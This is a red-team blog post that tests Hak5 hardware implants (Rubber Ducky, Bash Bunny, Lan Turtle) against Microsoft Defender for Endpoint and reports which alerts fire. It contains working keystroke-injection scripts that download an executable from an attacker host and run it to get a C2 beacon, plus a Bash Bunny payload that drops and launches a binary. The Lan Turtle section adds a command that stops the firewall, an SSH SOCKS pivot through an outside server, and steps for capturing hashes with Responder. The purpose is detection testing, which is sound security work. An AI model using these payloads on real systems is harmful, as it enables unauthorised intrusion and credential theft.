Home Grown Red Team: Hak5 Gear In 2023 With Microsoft Defender For Endpoint
Welcome back! Today we’ll take a look at some of the tools out there by Hak5. If you’re not familiar with Hak5, they are a company that sells hackery stuff like network implants, HID injection tools and Wifi pentesting hardware.
Today we’ll take a look at 3 tools offered by Hak5 and put them up against Microsoft’s Defender For Endpoint EDR (trial edition), specifically the Rubber Ducky, Bash Bunny and the Lan Turtle.
To fully disclose the version of the EDR, this is the trial edition and I have not installed any advanced threat rules or made any modifications. I will discuss rules/detections that I have seen online that could be implemented as we go through the post.
I also plan on doing this same type of post but with open source tools such as Raspberry Pis and OpenWRT routers.
So let’s get started!
Rubber Ducky
Ah, the Rubber Ducky. Made famous by Mr. Robot, this is an HID injection tool that can mimic a USB keyboard. To be honest, this is probably the best out of box tool that Hak5 offers. There is no firmware upgrade, no modules to install and you’re not messing around with Python2.7 libraries in 2023.
It’s simple.
We’ll start by creating a binary with Harriet using Havoc’s Demon as the payload.
Next, we’ll host it.
And then we’ll browse to the online ducky encoder.
Now we have a very generic script to download our payload to the target.
DELAY 750
GUI r
DELAY 1000
STRING powershell
ENTER
DELAY 1000
STRING (New-Object Net.Webclient).DownloadFile(‘http://192.168.1.16:9090/jonesey.exe','C:\Windows\Temp\jonesey.exe')
ENTER
DELAY 2000
STRING Start-Process -FilePath ‘C:\Windows\Temp\jonesey.exe’
DELAY 500
ENTER
DELAY 250
STRING exit
DELAY 200
ENTER
We paste it into the encoder.
We click encode.
Then we click Download Inject.bin.
Now we just plug our ducky’s SD card into our computer and drag the inject.bin file over to it.
Now we’re ready to plug it into our target. I have cleared all of the alerts from Microsoft DFE so the only alerts we get should be for whatever the ducky triggers.
We plug in our ducky and we see it spawn a powershell window. It grabs our binary from the web server.
And very shortly after, we get a beacon back to Havoc.
We check for command execution and get the users.
But what about alerts?
Looks like it worked pretty well. Now to be fair, this is the trial edition and no rules have been set up. This simple ducky script dropped an EXE into Temp so I’m sure there are rules and alerts for binaries appearing in common writable folders.
This is a “test” type of post so I won’t go into opsec stuff, but there are far better ways to do this if you’re going to drop a binary to a target. What I’m really looking for in these tests is an alert based on hardware.
DFE didn’t seem to recognize the ducky and still sees it as a keyboard, which is pretty cool after all of this time.
Next up is the Bash Bunny. We won’t be so lucky here.
Bash Bunny
The Bash Bunny is basically a suped up Ducky that allows you to host various payloads on it’s 2 different slots. In theory, you can run Responder on it and get creds from locked machines. It’s never worked for me.
It’s has a pretty decent amount of memory on it so you can keep a library of payloads on the device.
When you want to switch a payload just put it in USB mode and then drag and drop your payload into one of the slots. Switch it to the payload slot on the device and plug it into the target.
For our demo, we’re going to use pretty much the exact same payload as we did with the ducky, but we’re going to copy the payload from our Bash Bunny.
Since it will host our payload binary, we can simply copy the binary over to Temp from the Bunny much like a regular USB and launch it.
####### ATTACK ######
Q GUI m
Q DELAY 500
Q GUI r
Q DELAY 500
Q STRING “powershell”
Q DELAY 500
Q ENTER
Q DELAY 1500
Q STRING “cd ((gwmi win32_volume -f ‘label=’’REGUSB’’’).Name+’tools\’)”
Q DELAY 500
Q ENTER
Q DELAY 500
Q STRING “copy-item jonesey.exe C:\Windows\Temp\J0nes3y.exe”
Q DELAY 500
Q ENTER
Q DELAY 500
Q STRING “start-process C:\Windows\Temp\J0nes3y.exe”
Q DELAY 500
Q ENTER
Q STRING exit
Q DELAY 500
Q ENTER
sleep 5
So I plug in the Bash Bunny and it doesn’t work. After about 2 hours of trying to figure out what the problem is it becomes unresponsive. I decide to do a factory reset and then upgrade the firmware. In the meantime, here’s the alert that we got when it was partially working.
We see that Bash Bunny is detected as a “Hacking Device”.
It gives 4 separate alerts after being plugged in. This is obviously due to some kind of hardware signature. Hardware signatures are inevitable and getting past that alert is probably not very hard.
Not to go on a tangent, but most pentesters purchase Hak5 stuff because they want a solution that is ready to go. Add a payload, plug it in and you get a shell back (or something to that effect).
My problem with the Bash Bunny, among other Hak5 products, is that after a while you’ve spent more time trying to get the thing to work than it’s worth.
I feel like I’m constantly saying, “It was working yesterday” with almost all of their products, especially the pineapples. But that’s another rant.
And after a few hours of messing with it, I finally got a beacon back.
Along with a few alerts.
To sum up what we’ve seen here, a Bash Bunny will alert out of box as a “Hacking Device” on Microsoft DFE.
Lan Turtle
Probably my favorite Hak5 implant is the Lan Turtle. Not only does it offer a lot of functionality, it’s probably the stealthiest implant that they have in terms of the way it looks.
I won’t go through all of the setup, but I will say to configure it is a bit of a pain. I would recommend doing a factory reset as soon as you get it and load the latest firmware (even if it’s already installed).
As far as functionality. there are a lot of modules that just don’t work right. Like other Hak5 products, there is limited space and it’s working off outdated OpenWRT packages. Python3 support is lacking, which makes things harder.
There are really only 2 modules that you really need on this (maybe 3). The AutoSSH and Keymanager modules.
Other than these two, everything else is kind of hit or miss at best. The meterpreter-https module does not work and the Responder module can’t even download. It relies on Git to download Responder but the device doesn’t have enough memory to install Git.
That doesn’t mean we can’t get around things. I installed an SD card into my Lan Turtle and as long as I can find Python2.7 supported software, I can run it.
I have my Turtle configured to connect to a Digital Ocean droplet when it boots through SSH. One of the coolest things about this is that you can run a command to proxy your tools through your Ditigal Ocean droplet to the Lan Turtle and through the internal network.
So we can use things like CrackMap and other tools against the internal network.
This isn’t a new thing, but I think it’s important to highlight that this is still working in 2023 without the device being shutdown immediately or signatured by Defender after connecting it to a USB port.
Tools that we can’t proxy, can be loaded onto the Lan Turtle directly (if there aren’t any library issues).
As far as Responder goes, this is the version that I found to work. Later versions might work too, but I know this one works.
You can git clone it and scp it over to the Lan Turtle.
As you can see from the screenshot, I am already on the target network of 192.168.8.0/24.
Now we can disable the firewall and run Responder locally.
/etc/init.d/firewall stop
And now we can force authentication and grab the hash. We crack the hash and now we have creds. We can run this simple SSH oneliner with our proxy port, Digital Ocean IP and the forwarded SSH port. We log in and are all set.
ssh -f -N -D 1080 -oProxyCommand=”ssh -W %h:%p root@DigitalOceanIP" root@localhost -p 2222
(Yes, the DO droplet IP is in this screenshot. The droplet has been deleted.)
And we can use CrackMapExec to check our proxychains and command execution.
Looks like it worked! Sweet. Let’s see what alerts we have on DFE.
A few highs, some mediums, but a a lot of alerts for running our attack chain. But if you notice, these are all Responder based alerts. Let’s clear the alerts and see if we can generate any with command execution through our proxies and the Lan Turtle.
So the first command tries to open notepad through a Powershell instance with the -X flag.
It gets blocked by AMSI. Running a whoami with the -x flag gets execution back.
And we get a ton of alerts.
As you can see though, none of these alerts are actually related to the Lan Turtle’s functionality. Unlike the Bash Bunny, the Lan Turtle itself has gone undetected.
If you like this type of content, please subscribe via email! I tend to do a few posts per month. You can also follow me on Twitter @assume-breach
